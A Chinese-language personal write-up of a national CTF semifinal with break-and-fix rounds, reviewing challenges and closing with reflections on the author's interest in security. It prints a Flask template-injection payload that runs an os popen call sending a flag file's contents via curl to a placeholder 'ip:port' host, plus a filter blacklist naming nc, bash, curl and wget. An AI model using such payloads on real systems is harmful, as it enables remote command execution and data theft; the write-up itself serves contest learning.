24号参加了国赛半决赛(华东北赛区),趁周末复盘一下。
python-1
break
这是个很明显的SSTI,刚前两天刚认识一个专用于flask模板注入的工具,靶场测试时几乎能做到通杀,所以没有学习更高级的用法,不巧的是这题偏偏没有打通。其实fenjing进行fuzz测试时已经给出了payload,只是print被禁了,无法回显,只需要将payload修改为配合curl命令进行文件内容读取即可。
1 | name={%set x=cycler.next.__globals__.__builtins__.__import__('os')['p''open']('cu'+'rl http://ip:port/`sort /fl*`').read()%} |
fix
过滤{%%}即可。
1 | blacklists = ["print","cat","flag","nc","bash","sh","curl","{{","}},""wget","ash","session","class","subclasses","for","popen","args","{%","%}"] |
python-2
break
flag就在db文件里,很无语。预期解应该是个sql注入。
php-3
break
利用glob协议进行文件名爆破,脚本如下
1 | import requests |
拿到文件名后,nl绕过过滤读取flag。
fix
把nl、tac等一些字符加入黑名单就好。这时候离谱的事情就出现了,后面怎么fix,前端代码就怎么高亮,意识到不对劲,但没深究,很可惜,否则就通杀了。
java-1
fix
SSRF绕过本地限制,执行远程js文件,修的时候禁止执行远程js。
代码审计能力还是不够,思路不流畅。
总结
这次比赛最大的感受还是经验不足,对出现的问题不够敏感。在做php-3修复的时候发现了一些问题,但没有那种敏感性让我立马跟进思考。结束才知道break和fix给的是同一台机器,后悔莫及。另一点就是代码审计能力实在有待提升,面对一整个项目,审计时无从下手。平时要多看WP,多逛知识星球,掌握多种语言包括但不限于php、python、java、go的基本项目结构与函数跟踪技巧。
最终结果是赛区二等奖,不算很差,但作为“收官之战”还是有些遗憾。不知道下次接触CTF会是哪天,也可能这次就是与它的“永别”。我一直把网安当做我的梦想,CTF则在我闲暇之余作为一种消遣。高考志愿中我所有志愿院校的第一志愿都是信安,现在也算如愿以偿了,只不过是以一种没预想过的方式。
我当然清楚“这些东西用不上的”,也不想自我感动式地“追逐梦想”,做这些事只是因为喜欢,喜欢在各种系统中找到漏洞带来的新奇与挑战。或许日复一日,这种新奇也会慢慢消失,但对此时此刻的我,这就是最大的意义与价值,有价值的东西值得慢慢去做,值得花足够的时间去做。